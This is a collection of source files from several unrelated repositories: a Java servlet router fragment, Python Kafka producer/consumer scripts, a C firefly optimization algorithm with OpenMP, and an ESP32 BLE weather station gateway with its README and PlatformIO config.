httpResponse.setCharacterEncoding(Constants.DEFAULT_CHAR_SET);
String uri = httpRequest.getRequestURI();
SakaMichi sakaMichi = SakaMichi.noboru();
Route route = sakaMichi.matchUri(uri);
if (route != null) {
log.info("匹配uri成功:" + route);
handle(httpRequest, httpResponse, route);
} else {
log.warn("未找到匹配的uri: " + uri);
}
}
private void handle(HttpServletRequest httpRequest, HttpServletResponse httpResponse, Route route) {
Request request = new Request(httpRequest);
Response response = new Response(httpResponse);
SakaMichi.initContext(request, response);
Object controller = route.getController();
Method action = route.getAction();
try {
action.invoke(controller, request, response);
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
@Override
public void destroy() {
log.info("destroy");
}
}
| 03a7c75c4cf9120dd4957f6e34fa4144c6505e4b | [
"Markdown",
"Java"
] | 6 | Java | ikutarian/sakamichi | 7f07f61b194c6a5e08085d55d6e36058d38b325e | 8cc64c408f531938fa0ce557ea8f38657aea5033 |
refs/heads/master | <repo_name>markzhang90/OneStoryKmq<file_sep>/HttpProxy/HttpProxy.py
import urllib.parse, urllib.request
import json
class HttpProxy:
def __new__(cls, *args, **kwargs):
if not hasattr(cls, '_instance'):
cls._instance = super(HttpProxy, cls).__new__(cls)
return cls._instance
def __init__(self):
pass
def send_request(self, target_url, data):
req = None
try:
request_para = urllib.parse.urlencode(data).encode('UTF-8')
url = urllib.request.Request(target_url, request_para)
req = urllib.request.urlopen(url)
except Exception as e:
print(e)
return req
<file_sep>/pusher/Consumer.py
from pykafka import KafkaClient
client = KafkaClient(hosts="127.0.0.1:9092")
topic_code = 'test-mark'
topic = client.topics[topic_code.encode()]
consumer = topic.get_simple_consumer()
for message in consumer:
if message is not None:
print(message.offset, message.value.decode())
<file_sep>/pusher/BalancedConsumer.py
from pykafka import KafkaClient
class BalancedConsumer:
host = None
client = None
def __new__(cls, *args, **kwargs):
if not hasattr(cls, '_instance'):
cls._instance = super(BalancedConsumer, cls).__new__(cls)
return cls._instance
def __init__(self, host="127.0.0.1:9092", zookeeper_connect='127.0.0.1:2181'):
self.host = host
self.client = KafkaClient(hosts=self.host)
self.zookeeper_connect = zookeeper_connect
def runConsumer(self, topic_code, consumer_group='group1'):
if topic_code is None:
return False
if not isinstance(topic_code, bytes):
topic_code = topic_code.encode()
if not isinstance(consumer_group, bytes):
consumer_group = consumer_group.encode()
topicsingle = self.client.topics[topic_code]
balanced_consumer = topicsingle.get_balanced_consumer(
consumer_group=consumer_group,
auto_commit_enable=True,
zookeeper_connect=self.zookeeper_connect
)
for message in balanced_consumer:
if message is not None:
print(message.offset, message.value.decode())
bc = BalancedConsumer("127.0.0.1:9092")
bc.runConsumer('testnew')<file_sep>/pusher/Pusher.py
from pykafka import KafkaClient
from queue import Queue
import json
class Pusher:
host = None
client = None
def __new__(cls, *args, **kwargs):
if not hasattr(cls, '_instance'):
cls._instance = super(Pusher, cls).__new__(cls)
return cls._instance
def __init__(self, host="127.0.0.1:9092"):
self.host = host
self.client = KafkaClient(hosts=self.host)
def produce_msg(self, message='', mytopic='noooo', partition_key = ''):
if not isinstance(mytopic, bytes):
mytopic = mytopic.encode()
if not isinstance(partition_key, bytes):
partition_key = partition_key.encode()
if not isinstance(message, bytes):
message = message.encode()
topic = self.client.topics[mytopic]
with topic.get_producer(delivery_reports=True) as producer:
producer.produce(message, partition_key)
try:
msg, exc = producer.get_delivery_report(block=False)
if exc is not None:
print('Failed to deliver msg {}: {}'.format(
msg.partition_key, repr(exc)))
else:
print('Successfully delivered msg {}'.format(
msg.partition_key))
except Exception as e:
print(e)
test = Pusher()
send_data = dict()
send_data['url'] = '127.0.0.1/sendnewfile'
send_data['data'] = {'work':'good', 'home':'nice'}
jsonify = json.dumps(send_data)
print(jsonify)
test.produce_msg(jsonify, 'testnew') | d69b5cec3caddd15a88d1b204053b53061a1466e | [
"Python"
] | 4 | Python | markzhang90/OneStoryKmq | ef73b507537ed0b42055c42cb490189ba07b0aad | 9b78f24934aacb57d94303bf0a450dde97cfae50 |
refs/heads/master | <repo_name>Kyniek119/AK21-Fireflies<file_sep>/Funkcje.h
void init1(int dimension, double* sol);
double funkcja1(int dimension, double* sol);
void init2(int dimension, double* sol);
double funkcja2(int dimension, double* sol);
void init3(int dimension, double* sol);
double funkcja3(int dimension, double* sol);
double funkcja4(int* dimension, double* sol);
double funkcja5(int* dimension, double* sol);
double funkcja6(int* dimension, double* sol);
<file_sep>/Firefly.c
#include <stdio.h>
#include <stdbool.h>
#include <Firefly_func.h>
int main(int argc, char* argv[]){
int n = 100;
int d = 100;
int g = 20;
int funkcja = 1;
bool multithreading = false;
double alpha = 0.5;
double beta = 1;
double gamma = 0.01; //duza wartosc powoduje berdzo losowe przeszukiwanie przestrzeni
char* nazwa_pliku_wynikowego = "Firefly_output.txt";
int i = 0;
void pomoc();
//UI
for(i=1;i<argc;i++){
if((strncmp(argv[i], "-h", 2) == 0) || (strncmp(argv[i], "-?", 2)) == 0){
pomoc();
return 0;
} else if(strncmp(argv[i], "-n", 2) == 0){ //ilosc swietlikow
n = atoi(&argv[i][2]);
if(n < 1 || n > 1000) { printf("Niepoprawna wartość parametru n: %d. Dostepne wartosci to <1, 1000>.\n",n); return -2;}
} else if(strncmp(argv[i], "-d", 2) == 0){ //wymiar problemu
d = atoi(&argv[i][2]);
if(d < 1 || d > 1000) { printf("Niepoprawna wartość parametru d: %d. Dostepne wartosci to <1, 1000>.\n",d); return -2;}
} else if(strncmp(argv[i], "-g", 2) == 0){ //maksymalna ilosc generacji
g = atoi(&argv[i][2]);
if(g < 1) { printf("Niepoprawna wartość parametru g: %d. Dostepne wartosci >1.\n",g); return -2;}
} else if(strncmp(argv[i], "-a", 2) == 0){ //wspolczynnik alpha
alpha = atof(&argv[i][2]);
if(alpha < 0 || alpha > 1) { printf("Niepoprawna wartość parametru alpha: %f. Dostepne wartosci <0, 1>.\n",alpha); return -2;}
} else if(strncmp(argv[i], "-b", 2) == 0){ //wspolczynnik beta
beta = atof(&argv[i][2]);
if(beta < 0 || beta > 1) { printf("Niepoprawna wartość parametru beta: %f. Dostepne wartosci <0, 1>.\n",beta); return -2;}
} else if(strncmp(argv[i], "-c", 2) == 0){ //wspolczynnik gamma
gamma = atof(&argv[i][2]);
if(gamma < 0 || gamma > 10) { printf("Niepoprawna wartość parametru gamma: %f. Dostepne wartosci <0, 10>.\n",gamma); return -2;}
} else if(strncmp(argv[i], "-f", 2) == 0){ //numer funkcji
funkcja = atoi(&argv[i][2]);
if(funkcja < 0 || funkcja > 3) { printf("Niepoprawna wartość parametru funkcja: %d. Dostepne wartosci (1, 2, 3).\n",funkcja); return -2;}
} else if(strncmp(argv[i], "-o", 2) == 0){ //nazwa pliku wynikowego
nazwa_pliku_wynikowego = &argv[i][2];
} else if(strncmp(argv[i], "-p", 2) == 0){ //nazwa pliku wynikowego
multithreading = true;
} else {
printf("Error: Niepoprawny parametr: %s .\nProgram zakonczyl dzilanie.\n", argv[i]);
return -1;
}
}
//inicjalizacja generatora liczb losowych
ffa_symulation(n, d, g, alpha, beta, gamma, funkcja, nazwa_pliku_wynikowego, multithreading);
return(0);
}
void pomoc(){
printf("Syntax:\n");
printf(" Firefly [-h|-?] [-n] [-d] [-g] [-a] [-b] [-c]\n");
printf(" Gdzie: -n = ilosc swietlikow (1-1000)\n");
printf(" -d = wymiar problemu (1-1000)\n");
printf(" -g = maksymalna ilosc generacji\n");
printf(" -f = numer funkcji z zestawu (1-3)\n");
printf(" -a = wspolczynnik alpha\n");
printf(" -b = wspolczynnik beta\n");
printf(" -c = wspolczynnik gamma\n");
printf(" -o = nazwa pliku wynikowego\n");
printf(" -p = flaga zrównoleglenia\n");
}
<file_sep>/Firefly_func.c
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <math.h>
#include <omp.h>
#include <string.h>
#include <time.h>
#include <float.h>
#include <Firefly_func.h>
#include <Funkcje.h>
#define MAX_D 1000
#define MAX_FFA 1000
//lokalne wartosci parametrow
int ilosc_swietlikow;
int wymiar_problemu;
int limit_generacji;
double alpha_local;
double beta_local;
double gamma_local;
bool multithreading_local;
unsigned int seed;
double ffa[MAX_FFA][MAX_D]; //swietliki
double ffa_prev_gen[MAX_FFA][MAX_D]; //zmienna do przechowywania poprzedniej generacji.
double f[MAX_FFA]; //wartosc funkcji
int Index[MAX_FFA]; //index wiazacy wartosc funkcji ze swietlikiem, pozwoli uniknac kopiowania parametrow swietlikow
double fbest; //najlepszy wynik obecnej populacji
double global_best = DBL_MAX; //najlepszy wynik globalnie
double global_best_param[MAX_D];
double start, end; //zmienne do pomiaru czasu
double czas_wykonania;
FILE* plik_wynikowy = NULL;
typedef double (*FunctionalCallback)(int dimension, double sol[MAX_D]);
FunctionalCallback funkcja = &funkcja1;
typedef void (*InitializationCallback)(int dimension, double sol[MAX_D]);
InitializationCallback inicjalizacja_danych = &init1;
//funkcje pomocnicze
void inicjalizuj_ffa();
void inicjalizuj_funkcje(int numer_funkcji);
void inicjalizacja_zmiennych(int n, int d, int maxGeneracji, double alpha, double beta, double gamma, char* nazwa_pliku_wynikowego, bool multithreading);
void pokaz_ffa(int numer_generacji);
void pokaz_parametry_maszyny();
void pokaz_rozwiazanie();
void replace_ffa(double old[MAX_FFA][MAX_D], double new[MAX_FFA][MAX_D]);
void sort_ffa();
void move_ffa();
void ffa_symulation(int n, int d, int g, double alpha, double beta, double gamma, int numer_funkcji, char* nazwa_pliku_wynikowego, bool multithreading){
inicjalizacja_zmiennych(n, d, g, alpha, beta, gamma, nazwa_pliku_wynikowego, multithreading);
inicjalizuj_funkcje(numer_funkcji);
int numer_generacji = 1; //licznik generacji
//inicjalizacja roju swietlikow
inicjalizuj_ffa();
//pokaz_ffa(numer_generacji);
pokaz_parametry_maszyny();
//glowna petla, wykonywana dla kazdej generacji
int i,j;
start = omp_get_wtime();
while(numer_generacji <= limit_generacji){
#pragma omp pararell for if(multithreading_local)
for(i=0;i<ilosc_swietlikow;i++){
f[i] = funkcja(wymiar_problemu, ffa[Index[i]]);
}
sort_ffa();
fbest = f[0];
if(fbest < global_best){
global_best = fbest;
memcpy(global_best_param, ffa[Index[0]], sizeof(double) * MAX_D);
}
move_ffa();
replace_ffa(ffa, ffa_prev_gen); //
pokaz_ffa(numer_generacji);
numer_generacji++;
}
end = omp_get_wtime();
czas_wykonania = end - start;
pokaz_rozwiazanie();
printf("Koniec optymalizacji. Najlepszy wynik: %.4f, w czasie: %5.1fms\n",global_best, czas_wykonania*1000);
if(plik_wynikowy != NULL){
fprintf(plik_wynikowy, "Koniec optymalizacji. Najlepszy wynik: %.4f, w czasie: %5.1fms\n",global_best, czas_wykonania*1000);
}
fclose(plik_wynikowy);
return;
}
void inicjalizacja_zmiennych(int n, int d, int g, double alpha, double beta, double gamma, char* nazwa_pliku_wynikowego, bool multithreading){
ilosc_swietlikow = n;
wymiar_problemu = d;
limit_generacji = g;
alpha_local = alpha;
beta_local = beta;
gamma_local = gamma;
seed = time(NULL) ^ getpid();
multithreading_local = multithreading;
if( nazwa_pliku_wynikowego != NULL){
plik_wynikowy = fopen(nazwa_pliku_wynikowego, "w");
}
}
void inicjalizuj_funkcje(int numer_funkcji){
switch(numer_funkcji){
case 1: funkcja = &funkcja1;
inicjalizacja_danych = &init1;
break;
case 2: funkcja = &funkcja2;
inicjalizacja_danych = &init2;
break;
case 3: funkcja = &funkcja3;
inicjalizacja_danych = &init3;
break;
default: funkcja = &funkcja1;
inicjalizacja_danych = &init1;
break;
}
}
void inicjalizuj_ffa(){
int i,j;
double r;
double dane[MAX_D];
inicjalizacja_danych(wymiar_problemu, dane);
for(i=0;i<ilosc_swietlikow;i++){
for(j=0;j<wymiar_problemu;j++){
ffa[i][j] = dane[j];
ffa_prev_gen[i][j] = dane[j];
}
f[i] = 1.0;
Index[i] = i;
}
}
void sort_ffa(){
int i,j;
//sortowanie babelkowe
for(i=0;i<ilosc_swietlikow;i++){
for(j=i+1;j<ilosc_swietlikow;j++){
if(f[i] > f[j]){
double z = f[i]; //zamiana wartosci funkcji
f[i] = f[j];
f[j] = z;
int tmp = Index[i]; //zamiana indeksow
Index[i] = Index[j];
Index[j] = tmp;
}
}
}
}
void replace_ffa(double old[MAX_FFA][MAX_D], double new[MAX_FFA][MAX_D]){
int i;
for(i=0;i<ilosc_swietlikow;i++){
memcpy(new[Index[i]], old[Index[i]], sizeof(double) * MAX_D);
}
}
void move_ffa(){
int i,j,k;
double r,beta;
//int myid, thread_num;
#pragma omp parallel for private(r, beta, j, k) if(multithreading_local)
for(i=0;i<ilosc_swietlikow;i++){
//myid = omp_get_thread_num();
//thread_num = omp_get_num_threads();
//printf("\tCalculations from %d thread from %d threads\n", myid, thread_num);
for(j=i;j>=0;j--){
r = 0.0;
//oblicz wypadkowa dlugosc r pomiedzy i-tym i j-tym swietlikiek
for(k=0;k<wymiar_problemu;k++){
r += (ffa_prev_gen[Index[i]][k] - ffa_prev_gen[Index[j]][k]) * (ffa_prev_gen[Index[i]][k] - ffa_prev_gen[Index[j]][k]);
}
r = sqrt(r);
//przesun swietlika z najlepszym rozwiazaniem
if(f[i] == fbest){
for(k=0;k<wymiar_problemu;k++){
//wygeneruj losowy wektor;
r = ((double)rand_r(&seed) / ((double)(RAND_MAX) + (double)(1)));
double u = alpha_local * (r - 0.5);
//utworz nowe rozwiazanie
ffa[Index[i]][k] = ffa_prev_gen[Index[i]][k] + u;
}
} else if(f[i] > f[j]){ //przesun swietlika i w kierunku swietlika j
//zmodyfikuj atrakcyjność
beta = beta_local*exp(-gamma_local*pow(r, 2.0));
//wygeneruj losowy wektor
for(k=0;k<wymiar_problemu;k++){
r = ((double)rand_r(&seed) / ((double)(RAND_MAX) + (double)(1)));
double u = alpha_local * (r - 0.5);
//utworz nowe rozwiazanie
ffa[Index[i]][k] = ffa[Index[i]][k] + beta * (ffa_prev_gen[Index[j]][k] - ffa_prev_gen[Index[i]][k]) + u;
}
}
}
}
}
void pokaz_ffa(int numer_generacji){
printf("Podglad generacji numer: %d, najlepszy wynik: %.4f\n", numer_generacji, fbest);
if(plik_wynikowy != NULL){
fprintf(plik_wynikowy, "Podglad generacji numer: %d, najlepszy wynik: %.4f\n", numer_generacji, fbest);
}
}
void pokaz_parametry_maszyny(){
printf("OMP_DYNAMIC = %d\n",omp_get_dynamic());
printf("OMP_NESTED = %d\n",omp_get_nested());
printf("OMP_NUM_THREADS = %d\n",omp_get_max_threads());
//printf("OMP_SCHEDULE = %s\n",omp_get_schedule());
printf("OMP_THREAD_LIMIT = %d\n",omp_get_thread_limit());
printf("OMP_DYNAMIC = %d\n",omp_get_dynamic());
printf("Multithreading = %d\n", multithreading_local);
if(plik_wynikowy != NULL){
fprintf(plik_wynikowy, "OMP_DYNAMIC = %d\n",omp_get_dynamic());
fprintf(plik_wynikowy, "OMP_NESTED = %d\n",omp_get_nested());
fprintf(plik_wynikowy, "OMP_NUM_THREADS = %d\n",omp_get_max_threads());
//fprintf(plik_wynikowy, "OMP_SCHEDULE = %s\n",omp_get_schedule());
fprintf(plik_wynikowy, "OMP_THREAD_LIMIT = %d\n",omp_get_thread_limit());
fprintf(plik_wynikowy, "OMP_DYNAMIC = %d\n",omp_get_dynamic());
fprintf(plik_wynikowy, "Multithreading = %d\n", multithreading_local);
}
}
void pokaz_rozwiazanie(){
int i, count;
count = (int)(wymiar_problemu/10);
printf("Parametry po 10 w wierszu.\n");
for(i=0;i<wymiar_problemu/10;i++){
printf("%f, %f, %f, %f, %f, %f, %f, %f, %f, %f.\n",
global_best_param[i],
global_best_param[i+1],
global_best_param[i+2],
global_best_param[i+3],
global_best_param[i+4],
global_best_param[i+5],
global_best_param[i+6],
global_best_param[i+7],
global_best_param[i+8],
global_best_param[i+9]);
if(plik_wynikowy != NULL){
fprintf(plik_wynikowy, "%f, %f, %f, %f, %f, %f, %f, %f, %f, %f.\n",
global_best_param[i],
global_best_param[i+1],
global_best_param[i+2],
global_best_param[i+3],
global_best_param[i+4],
global_best_param[i+5],
global_best_param[i+6],
global_best_param[i+7],
global_best_param[i+8],
global_best_param[i+9]);
}
}
for(i=count*10;i<wymiar_problemu;i++){
printf("%f, ",global_best_param[i]);
if(plik_wynikowy != NULL){
fprintf(plik_wynikowy,"%f, ",global_best_param[i]);
}
}
printf("\n");
if(plik_wynikowy != NULL){
fprintf(plik_wynikowy, "\n");
}
}
<file_sep>/makefile
CC=gcc
CFLAGS=-I. -fopenmp
DEPS = Firefly_func.h Funkcje.h
%.o: %.c $(DEPS)
$(CC) -c -o $@ $< $(CFLAGS)
Firefly: Firefly.o Firefly_func.o Funkcje.o
$(CC) -o Firefly.out Firefly.o Funkcje.o Firefly_func.o -fopenmp -lm
| c8e27dd7c1bf3327375ae69d1371777e9dc600a1 | [
"C",
"Makefile"
] | 4 | C | Kyniek119/AK21-Fireflies | c69059e2da4800ae744c5585b6a7e2ec7c7a3acd | cd5f9659309d55faf274de7b7c0b284d7a11e262 |
refs/heads/master | <repo_name>greatriver007/BLE-Weather-Station-Cloud-Gateway<file_sep>/platformio.ini
; PlatformIO Project Configuration File
;
; Build options: build flags, source filter
; Upload options: custom upload port, speed and extra flags
; Library options: dependencies, extra library storages
; Advanced options: extra scripting
;
; Please visit documentation for the other options and examples
; https://docs.platformio.org/page/projectconf.html
[platformio]
env_default = nina_w10
src_dir = ./Gateway
#src_dir = ./Node
# more configuration @ https://docs.platformio.org/en/latest/boards/espressif32/nina_w10.html?utm_source=platformio&utm_medium=piohome
[env:nina_w10]
platform = espressif32
board = nina_w10
framework = arduino
monitor_speed = 115200
board_build.partitions = partitions_custom.csv
#upload_port = COM52
#upload_port = 192.168.119.52
#upload_flags =
# --auth="casasujachaosujo"
lib_deps =
Adafruit SHT31 Library
Mini Grafx
Blynk
[env:nina_b1]
platform = nordicnrf52
board = ublox_evk_nina_b1
framework = arduino
build_flags = -DNRF52_S132
lib_deps =
Adafruit SHT31 Library
Ticker
BLEPeripheral
Blynk
monitor_speed = 115200
# upload_protocol = blackmagic
<file_sep>/README.md
# BLE-Weather-Station-Cloud-Gateway
ESP32 Arduino Weather Station example + SHT31 temperature and humidity + Bluetooth BLE + Blynk IoT Cloud
[](https://github.com/ldab/BLE-Weather-Station-Cloud-Gateway/releases/latest)
[](https://travis-ci.org/ldab/BLE-Weather-Station-Cloud-Gateway)
[](https://github.com/ldab/BLE-Weather-Station-Cloud-Gateway/blob/master/LICENSE)
[](https://github.com/ldab/BLE-Weather-Station-Cloud-Gateway)
[](https://www.u-blox.com/en/product/nina-W10-series)
## How to build PlatformIO based project
1. [Install PlatformIO Core](http://docs.platformio.org/page/core.html)
2. Download [development the repository with examples](https://github.com/ldab/BLE-Weather-Station-Cloud-Gateway)
3. Extract ZIP archive
4. Run these commands:
```
# Change directory to example
> cd BLE-Weather-Station-Cloud-Gateway
# Build project
> platformio run
# Upload firmware
> platformio run --target upload
# Build specific environment
> platformio run -e nina_W10
# Upload firmware for the specific environment
> platformio run -e nina_W10 --target upload
# Clean build files
> platformio run --target clean
```
## TODO
- [ ]
- [ ]
## BLE Server, Client, Central, Peripheral ????? 😕
BLE roles are a bit confusing, at least to me, [<NAME>](https://github.com/nkolban) the same person behind the `ESP32 BLE Lib` has made some material available on his [YouTube Channel](https://www.youtube.com/watch?v=UgI7WRr5cgE)
Basicaly:
* Peripheral -> Advertises
* Central -> Scans for Peripherals
* GATT Server -> Device which has the database and provide resources to the Client. PS. Server does not send data, unless Client requests.
* GATT Client -> Access remote Server resources.
Generally, Peripheral = Server. Therefore if you're working on a end device, an activity tracker for example, it's likely to be set as a Peripheral.
## Examples
* Two examples are provided:
* [Client](./Client/), connecting to a Peripheral GATT Server;
* [Server](./Server/), connecting to a Central GATT Client;
## Using with s-center
* In order to test this example, NINA-W10 (Central/Client) connects to NINA-B1 (Peripheral/Server) via s-center and write the SHT31 temperature to the `FFE1` characteristics and humidity to `2A6F`.

## Partition Table and Flash size
* You can create a custom partitions table (CSV) following [ESP32 Partition Tables](https://docs.espressif.com/projects/esp-idf/en/latest/api-guides/partition-tables.html) documentation.
* Partitions examples are available at [GitHub arduino-esp32](https://github.com/espressif/arduino-esp32/tree/master/tools/partitions)
* The scheme is changed it in order to free some space up used by spiffs found on `min_spiffs.csv` [here](https://github.com/espressif/arduino-esp32/tree/master/tools/partitions)
## Erase Flash
`pio run -t erase` - > all data will be replaced with 0xFF bytes.
## Bluetooth iOS and Android app
* The [nRF Connect for Mobile](https://www.nordicsemi.com/Software-and-Tools/Development-Tools/nRF-Connect-for-mobile) App from Nordic Semiconductor can alse be used in order to communicate and learn more about BLE and its details:

## Credits
Weather Icons and layout inspired by [ThingPulse ](https://github.com/ThingPulse/minigrafx)
Github Shields and Badges created with [Shields.io](https://github.com/badges/shields/)
Adafruit [SHT31 Library](https://www.adafruit.com/product/2857)
ESP32 BLE Arduino [Library](https://github.com/nkolban/ESP32_BLE_Arduino?utm_source=platformio&utm_medium=piohome)
<file_sep>/Gateway/main.cpp
/******************************************************************************
BLE-Weather-Station-Cloud-Gateway
<NAME>
March - 2019
https://github.com/ldab/BLE-Weather-Station-Cloud-Gateway
Distributed as-is; no warranty is given.
******************************************************************************/
/* Comment this out to disable prints and save space */
#define BLYNK_PRINT Serial
#include "Arduino.h"
#include <Ticker.h>
#include <Adafruit_SHT31.h>
// BLE
#include <BLEDevice.h>
#include <BLEUtils.h>
#include <BLEServer.h>
// Blynk
#include <WiFi.h>
#include <WiFiClient.h>
#include <BlynkSimpleEsp32.h>
// OTA
#include <ESPmDNS.h>
#include <WiFiUdp.h>
#include <ArduinoOTA.h>
// E-paper display
#include <SPI.h>
#include <MiniGrafx.h>
#include "DisplayDriver.h"
#include "EPD_WaveShare_42.h" // Hardware-specific library
#include "WeatherIcons.h"
#define CS 2
#define RST 15
#define DC 5
#define BUSY 4
#define USR_B 12 // User button
#define SCREEN_WIDTH 400
#define SCREEN_HEIGHT 300
#define BITS_PER_PIXEL 1
uint16_t palette[] = {0, 1};
EPD_WaveShare42 epd(CS, RST, DC, BUSY);
MiniGrafx gfx = MiniGrafx(&epd, BITS_PER_PIXEL, palette);
uint32_t startMillis;
// You should get Auth Token in the Blynk App. Go to the Project Settings (nut icon)
char auth[] = "YourAuthToken";
// Your WiFi credentials.
char ssid[] = "YourNetworkName";
char pass[] = "<PASSWORD>";
// The remote service we wish to connect to.
static BLEUUID serviceUUID("181A");
// The characteristic of the remote service we are interested in.
static BLEUUID tcharUUID("2A6E");
static BLEUUID hcharUUID("2A6F");
// This device name
const char charNAME[] = "SweetHome";
static boolean doConnect = false;
static boolean connected = false;
static boolean doScan = false;
static BLERemoteCharacteristic* tCharacteristic;
static BLERemoteCharacteristic* hCharacteristic;
static BLEAdvertisedDevice* myDevice;
// Create functions prior to calling them as .cpp files are differnt from Arduino .ino
void setupBLE ( void );
void readSensor ( void );
void blinky ( void );
bool connectToServer( void );
// Initialize the Temperature and Humidity Sensor SHT31
Adafruit_SHT31 sht31 = Adafruit_SHT31();
// Create timers using Ticker library in oder to avoid delay()
Ticker blinkIt;
Ticker readLocal;
float tLocal = NAN;
float hLocal = NAN;
float tBLE = NAN;
float hBLE = NAN;
static void notifyCallback( BLERemoteCharacteristic* pBLERemoteCharacteristic,
uint8_t* pData,
size_t length,
bool isNotify )
{
Serial.print("Notify callback for characteristic ");
Serial.print(pBLERemoteCharacteristic->getUUID().toString().c_str());
Serial.print(" of data length ");
Serial.println(length);
Serial.print("data: ");
Serial.println((char*)pData);
}
// Scan for BLE servers and find the first one that advertises the service we are looking for
class MyAdvertisedDeviceCallbacks: public BLEAdvertisedDeviceCallbacks
{
void onResult(BLEAdvertisedDevice advertisedDevice)
{
Serial.print("BLE Advertised Device found: ");
Serial.println(advertisedDevice.toString().c_str());
// We have found a device, let us now see if it contains the service we are looking for.
if (advertisedDevice.haveServiceUUID() && advertisedDevice.isAdvertisingService(serviceUUID))
{
BLEDevice::getScan()->stop();
myDevice = new BLEAdvertisedDevice(advertisedDevice);
doConnect = true;
doScan = true;
} // Found our server
} // onResult
};
class MyClientCallback : public BLEClientCallbacks {
void onConnect(BLEClient* pclient)
{
Serial.println("onConnect");
}
void onDisconnect(BLEClient* pclient)
{
connected = false;
Serial.println("onDisconnect");
}
};
bool connectToServer() {
Serial.print("Forming a connection to ");
Serial.println(myDevice->getAddress().toString().c_str());
BLEClient* pClient = BLEDevice::createClient();
Serial.println(" - Created client");
pClient->setClientCallbacks(new MyClientCallback());
// Connect to the remove BLE Server.
pClient->connect(myDevice); // if you pass BLEAdvertisedDevice instead of address, it will be recognized type of peer device address (public or private)
Serial.println(" - Connected to server");
// Obtain a reference to the service we are after in the remote BLE server.
BLERemoteService* pRemoteService = pClient->getService(serviceUUID);
if (pRemoteService == nullptr) {
Serial.print("Failed to find our service UUID: ");
Serial.println(serviceUUID.toString().c_str());
pClient->disconnect();
return false;
}
Serial.println(" - Found our service");
// Obtain a reference to the characteristic in the service of the remote BLE server.
tCharacteristic = pRemoteService->getCharacteristic(tcharUUID);
if (tCharacteristic == nullptr) {
Serial.print("Failed to find our characteristic UUID: ");
Serial.println(tcharUUID.toString().c_str());
pClient->disconnect();
return false;
}
Serial.println(" - Found our tcharUUID characteristic");
// Obtain a reference to the characteristic in the service of the remote BLE server.
hCharacteristic = pRemoteService->getCharacteristic(hcharUUID);
if (hCharacteristic == nullptr) {
Serial.print("Failed to find our characteristic UUID: ");
Serial.println(hcharUUID.toString().c_str());
pClient->disconnect();
return false;
}
Serial.println(" - Found our hcharUUID characteristic");
// Read the value of the characteristic.
if(tCharacteristic->canRead()) {
std::string value = tCharacteristic->readValue();
tBLE = atoi(value.c_str()) / 100.0f;
Serial.print("The characteristic value was: ");
Serial.println(tBLE);
}
if(hCharacteristic->canRead()) {
std::string value = hCharacteristic->readValue();
hBLE = atoi(value.c_str()) / 100.0f;
Serial.print("The characteristic value was: ");
Serial.println(hBLE);
}
if(tCharacteristic->canNotify())
tCharacteristic->registerForNotify(notifyCallback);
if(hCharacteristic->canNotify())
hCharacteristic->registerForNotify(notifyCallback);
connected = true;
}
void setup()
{
pinMode( LED_RED , OUTPUT );
pinMode( LED_GREEN, OUTPUT );
pinMode( LED_BLUE , OUTPUT );
digitalWrite( LED_RED , HIGH );
digitalWrite( LED_GREEN, HIGH );
digitalWrite( LED_BLUE , HIGH );
Serial.begin(115200);
// Start display
gfx.init();
gfx.setRotation(0);
gfx.setFastRefresh(false);
if( !sht31.begin(0x44) ){
Serial.println("Failed to find sensor, please check wiring and address");
}
BLEDevice::init(charNAME);
// Retrieve a Scanner and set the callback.
BLEScan* pBLEScan = BLEDevice::getScan();
// Callback function to be called when a new Peripheral is found
pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks());
// Set the Scan interval in ms
pBLEScan->setInterval(1349);
// Scan duration in ms
pBLEScan->setWindow(449);
// Active scan means a scan response is expected
pBLEScan->setActiveScan(false);
// Start scan for [in] seconds
pBLEScan->start(5, false);
// Start Timers, read sensor and blink Blue LED
readLocal.attach( 10, readSensor ); // we will now read the sensor only when sending data
blinkIt.attach( 1, blinky );
WiFi.mode(WIFI_STA);
WiFi.begin(ssid, pass);
while (WiFi.waitForConnectResult() != WL_CONNECTED)
{
Serial.println("Connection Failed! Rebooting...");
delay(5000);
ESP.restart();
}
//ArduinoOTA.setPassword("<PASSWORD>");
// Password can be set with it's md5 value as well
// MD5(admin) = 21232f297a57a5a743894a0e4a801fc3
// ArduinoOTA.setPassword<PASSWORD>("<PASSWORD>");
/*ArduinoOTA
.onStart([]() {
String type;
if (ArduinoOTA.getCommand() == U_FLASH)
type = "sketch";
else // U_SPIFFS
type = "filesystem";
// NOTE: if updating SPIFFS this would be the place to unmount SPIFFS using SPIFFS.end()
Serial.println("Start updating " + type);
})
.onEnd([]() {
Serial.println("\nEnd");
})
.onProgress([](unsigned int progress, unsigned int total) {
Serial.printf("Progress: %u%%\r", (progress / (total / 100)));
})
.onError([](ota_error_t error) {
Serial.printf("Error[%u]: ", error);
if (error == OTA_AUTH_ERROR) Serial.println("Auth Failed");
else if (error == OTA_BEGIN_ERROR) Serial.println("Begin Failed");
else if (error == OTA_CONNECT_ERROR) Serial.println("Connect Failed");
else if (error == OTA_RECEIVE_ERROR) Serial.println("Receive Failed");
else if (error == OTA_END_ERROR) Serial.println("End Failed");
});
ArduinoOTA.begin();*/
Blynk.config(auth);
Serial.println("Ready");
Serial.print("IP address: ");
Serial.println(WiFi.localIP());
}
void loop()
{
Blynk.run();
//ArduinoOTA.handle();
// If "doConnect" is true BLE Server has been found, Now we connect to it.
if (doConnect == true)
{
if ( connectToServer() ) // Connect to the BLE Server found
{
Serial.println("We are now connected to the BLE Server.");
}
else
{
Serial.println("We have failed to connect to the server; there is nothin more we will do.");
}
doConnect = false;
}
// If connected to a peer BLE Server:
if (connected)
{
}
else if(doScan)
{
BLEDevice::getScan()->start(0); // Start scan after disconnect
}
} // end of loop
void readSensor( void )
{
tLocal = sht31.readTemperature();
hLocal = sht31.readHumidity();
if (! isnan(tLocal)) { // check if 'is not a number'
Serial.print("Temp ºC = "); Serial.println(tLocal);
} else {
Serial.println("Failed to read temperature");
}
if (! isnan(hLocal)) { // check if 'is not a number'
Serial.print("Hum. % = "); Serial.println(hLocal);
} else {
Serial.println("Failed to read humidity");
}
Serial.println();
}
// Toggle LED_Blue
void blinky( void )
{
bool toggle = digitalRead( LED_BLUE );
digitalWrite( LED_BLUE, !toggle );
}
| f84dfb1addbfdf95b0fef0f6751c3f1d037ac3e6 | [
"Markdown",
"C++",
"INI"
